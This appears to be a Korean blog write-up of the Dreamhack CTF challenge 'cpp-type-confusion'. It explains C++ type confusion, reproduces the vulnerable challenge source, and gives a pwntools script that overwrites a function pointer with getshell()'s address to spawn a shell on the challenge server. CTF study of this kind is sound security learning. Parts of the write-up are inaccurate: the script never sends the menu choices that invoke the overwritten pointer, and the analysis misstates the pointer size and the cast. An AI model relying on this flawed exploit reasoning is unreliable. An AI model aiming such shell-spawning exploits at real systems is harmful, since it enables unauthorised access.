CTF 풀이

[드림핵] cpp-type-confusion

화이트해커 Luna 🌙 2023. 5. 12. 02:31
728x90
반응형

cpp-type-confusion

 

-목차-
1. 개념정리
2. 풀이

 


 

1. 개념정리

 

"Type confusion"은 C++에서 발생할 수 있는 오류 중 하나로, 프로그램이 메모리를 잘못 사용하여 예상하지 않은 결과를 만드는 것을 말합니다. 이러한 오류는 주로 포인터 형식이나 참조 형식을 사용할 때 발생합니다.

예를들어, 다음과 같은 코드가 있다고 가정해 봅시다. 

 

void foo(int* p)
{
    *p = 10;
}

int main()
{
    double d = 3.14;
    foo((int*)&d);  // type confusion!
    return 0;
}

 

foo 함수는 int 포인터를 인자로 받아서 해당 포인터가 가리키는 메모리에 10을 저장합니다. 그러나 main 함수에서는 double 변수 d의 주소를 int 포인터로 형 변환하여 foo 함수에 전달합니다. 이로 인해 foo 함수가 double 변수의 메모리에 10을 저장하려고 시도하면서 예기치 않은 동작을 유발할 수 있습니다. 이는 C++의 "undefined behavior"에 해당하며, 프로그램이 예상치 못한 결과를 출력할 수 있습니다.

 

이와 같이 다른 형식으로 형 변환하거나 형식을 잘못 지정하여 메모리를 잘못 사용하는 경우, 프로그램의 안전성이 저하되고 예기치 않은 결과가 발생할 수 있습니다. 이러한 오류를 방지하기 위해 포인터 형식이나 참조 형식을 사용할 때는 항상 정확한 형식을 지정해야 하며, 필요한 경우 적절한 형 변환을 수행해야 합니다. 또한 C++의 static_castdynamic_castreinterpret_cast 등의 캐스트 연산자를 사용하여 명시적인 형 변환을 수행하는 것이 좋습니다.

 


 

2. 풀이

 

 

문제 코드
// g++ -o pwn-cpp-type-confusion pwn-cpp-type-confusion.cpp

#include <iostream>
#include <csignal>
#include <unistd.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>

int appleflag = 0;
int mangoflag = 0;
int applemangoflag = 0;

void getshell(){
    system("/bin/sh");
}

void print_menu(){
    std::cout << "I love Applemango!" << std::endl;
    std::cout << "1. Make apple" << std::endl;
    std::cout << "2. Make mango" << std::endl;
    std::cout << "3. Mix apple, mango" << std::endl;
    std::cout << "4. Eat" << std::endl;
    std::cout << "5. Exit program" << std::endl;
    std::cout << "[*] Select : ";
}
void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void mangohi(){
    std::cout << "Mangoyum" << std::endl;
}

void applehi(){
    std::cout << "Appleyum" << std::endl;
}

class Base{
public:
    virtual void yum(){
    }
};

class Apple : public Base{
public:
    virtual void yum(){
        std::cout << description << std::endl;
    }
    Apple(){
        strcpy(description, "Appleyum\x00");
        appleflag = 1;
    };

    ~Apple(){
        appleflag = 0;
    }
    char description[8];
};

class Mango : public Base{
public:
    virtual void yum(){
        description();
    }

    Mango(){
        description = mangohi;
        mangoflag = 1;
    };

    ~Mango(){
        mangoflag = 0;
    }
    void (*description)(void);
};



int main(){
    initialize();
    int selector;
    std::string applemangoname;
    Base *apple;
    Base *mango;
    Apple* mixer;

    while(1){
        print_menu();
        std::cin >> selector;
        switch(selector){
            case 1:
                apple = new Apple();
                std::cout << "Apple Created!" << std::endl;
                break;
            case 2:
                mango = new Mango();
                std::cout << "Mango Created!" << std::endl;
                break;
            case 3:
                if(appleflag && mangoflag){
                    applemangoflag = 1;
                    mixer = static_cast<Apple*>(mango);
                    std::cout << "Applemango name: ";
                    std::cin >> applemangoname;
                    strncpy(mixer->description, applemangoname.c_str(), 8);
                    std::cout << "Applemango Created!" << std::endl;
                } else if(appleflag == 0 && mangoflag == 0){
                    std::cout << "You don't have anything!" << std::endl;
                } else if(appleflag == 0){
                    std::cout << "You don't have apple!" << std::endl;
                } else if(mangoflag == 0){
                    std::cout << "You don't have mango!" << std::endl;
                }
                break;
            case 4:
                std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : ";
                std::cin >> selector;
                if(selector == 1){
                    if(appleflag){ 
                        apple->yum(); 
                    }
                    else{ std::cout << "You don't have apple!" << std::endl; }
                } else if (selector == 2){
                    if(mangoflag){ 
                        mango->yum(); 
                    }
                    else{ 
                        std::cout << "you don't have mango!" << std::endl; 
                    }
                } else if (selector == 3){
                    if(applemangoflag) { 
                        mixer->yum(); 
                    }
                    else{ 
                        std::cout << "you don't have Applemango!" << std::endl; 
                    }
                } else {
                    std::cout << "Wrong Choice!" << std::endl;
                }
                break;
            case 5:
                std::cout << "bye!" << std::endl;
                return 0;
                break;
            default:
                return 0;
        }
    }
    return 0;

 

코드 분석

먼저, 프로그램은 Base 클래스를 상속한 Apple 클래스와 Mango 클래스를 정의합니다. Apple 클래스는 description 멤버 변수를 가지며, description은 "Appleyum\x00" 문자열로 초기화됩니다. Mango 클래스는 함수 포인터 description을 가지며, description은 mangohi() 함수의 주소로 초기화됩니다. Apple 클래스와 Mango 클래스 모두 yum() 함수를 가지며, Apple 클래스의 yum() 함수는 description 멤버 변수를 출력하고, Mango 클래스의 yum() 함수는 description 함수 포인터를 호출합니다.

 

initialize() 함수에서는 stdin과 stdout의 버퍼링을 없애기 위해 setvbuf() 함수를 사용하고, 30초가 지나면 SIGALRM 시그널 핸들러 함수인 alarm_handler() 함수가 호출됩니다.

 

main() 함수에서는 Base 포인터 타입의 apple과 mango 객체를 동적으로 생성할 수 있습니다. 그리고 Apple 객체를 Base 포인터 타입으로 캐스팅하여 mixer 객체에 저장할 수 있습니다. applemangoflag 변수는 Apple 객체와 Mango 객체가 모두 생성된 후에 설정됩니다.

 

메뉴에서 1번을 선택하면 Apple 객체가 생성되며, 2번을 선택하면 Mango 객체가 생성됩니다. 3번을 선택하면, Apple 객체와 Mango 객체가 모두 생성된 경우에만 Applemango 객체를 생성할 수 있습니다. 이 때, mixer 객체는 Apple 객체를 Base 포인터 타입으로 캐스팅한 것입니다. applemangoname 변수를 입력 받아, strncpy() 함수를 사용하여 mixer 객체의 description 멤버 변수에 복사됩니다.

 

4번을 선택하면, 1. Apple, 2. Mango, 3. Applemango 중에서 선택할  있습니다. 선택된 객체에 대해 yum() 함수를 호출합니다.

 

5번을 선택하면 프로그램이 종료됩니다.

 

취약점 분석

이 코드는 취약한 유형의 C++ Type Confusion 취약점이 존재합니다.

 

Base 클래스를 상속받는 Apple과 Mango 클래스가 정의되어 있습니다.

Apple 클래스는 8바이트의 description 멤버 변수를 가지며 strcpy 함수를 이용하여 초기화됩니다.

Mango 클래스는 4바이트의 함수 포인터인 description 멤버 변수를 가지며 mangohi 함수를 이용하여 초기화됩니다.

 

main 함수에서는 Base 포인터로 apple과 mango 객체를 생성하여 각각의 생성 여부를 appleflag와 mangoflag 변수에 저장합니다.

이후, 3. Mix apple, mango 메뉴를 선택하면, appleflag와 mangoflag 변수가 모두 참일 경우 applemangoflag 변수를 참으로 설정하고, mango 객체를 Apple 객체로 형변환하여 mixer 포인터에 대입합니다.

이후 사용자로부터 입력 받은 문자열을 mixer->description에 strncpy 함수를 이용하여 복사합니다.

 

따라서, Mango 객체가 Apple 객체로 형변환되면서 description 멤버 변수가 4바이트 함수 포인터에서 8바이트 문자열로 변경됩니다.

이를 이용하여 mixer->yum() 함수를 호출할 때 description 멤버 변수의 메모리 주소가 함수 포인터로 인식되어 함수가 실행됩니다.

따라서, 0x400FA6 함수의 주소를 payload로 전달하여 mixer->yum() 함수를 호출하면 getshell() 함수를 실행할 수 있습니다.

 

 

익스플로잇

 

해당 프로그램의 취약점은 Applemango 생성 메뉴에서 Mango 객체를 Apple 객체로 캐스팅하여 Apple 객체의 description 멤버에 임의의 문자열을   있다는 것입니다. 따라서 우리는  취약점을 이용하여 description 멤버를 getshell() 함수의 주소로 덮어쓰고, Applemango를 실행하여  권한을 획득할  있습니다.

 

아래는 해당 취약점을 이용한 익스플로잇 코드입니다.

 

#!/usr/bin/env python 3

from pwn import *

p = remote('host1.dreamhack.games', 18405)

# 'Make apple' 메뉴 선택
p.sendlineafter('Select : ', '1')
p.recvuntil('Created!\n')

# 'Make mango' 메뉴 선택
p.sendlineafter('Select : ', '2')
p.recvuntil('Created!\n')

# 'Mix apple, mango' 메뉴 선택
p.sendlineafter('Select : ', '3')

# payload 생성
payload = p32(0x400FA6)

# 문자열 입력 및 실행
p.sendline(payload)
p.interactive()

 

해당 익스플로잇 코드는 리눅스 환경에서 실행되며, pwn 모듈을 이용하여 원격으로 실행 중인 호스트의 취약한 프로그램에 접속합니다. 접속 후, 'Make apple', 'Make mango', 'Mix apple, mango' 메뉴를 선택하여 취약점을 이용합니다.

 

이 익스플로잇 코드는 Applemango 생성 메뉴에서 Mango 객체를 Apple 객체로 캐스팅하여 Apple 객체의 description 멤버에 임의의 문자열을 쓸 수 있게 됩니다. 이는 사용자의 입력이 충분히 검증되지 않고, 메모리 오버플로우 취약점을 야기합니다.

 

여기서 payload 변수는 getshell() 함수의 주소를 담고 있습니다. 이후, 해당 payload를 sendline() 메서드를 통해 입력하면, 취약점으로 인해 description 멤버의 주소가 getshell() 함수의 주소로 덮어씌워집니다. 이렇게 덮어씌운 주소를 실행하면, getshell() 함수가 실행되어 쉘 권한을 획득할 수 있게 됩니다.

 

마지막으로, interactive() 메서드를 이용하여 쉘을 조작할 있는 상태가 되어, 명령어를 입력하거나 파일 시스템을 탐색할 있게 됩니다.


이상으로 저의 포스팅글을 마치겠습니다. 글을 통해 여러분은 보안 취약점과 익스플로잇 코드에 대해 더욱 자세히 알게 되었을 것입니다. 이러한 지식은 해커들이나 보안 전문가들뿐만 아니라 모든 IT 업계 종사자들에게 필수적인 것이며, 이를 바탕으로 보안 취약점을 더욱 빠르고 정확하게 찾아내고 대응하는 능력을 키울 있습니다. 앞으로도 보안에 대한 관심과 학습을 지속적으로 해나가시기 바랍니다. 감사합니다.

728x90
반응형

'CTF 풀이' 카테고리의 다른 글

[드림핵] r-xor-t 풀이  (2) 2024.02.13
[드림핵] Relative Path Overwrite Advanced 풀이  (1) 2024.02.07
[드림핵] php-1 풀이 (+LFI치트시트)  (1) 2024.02.01
[드림핵] Basic_Crypto1  (2) 2023.05.28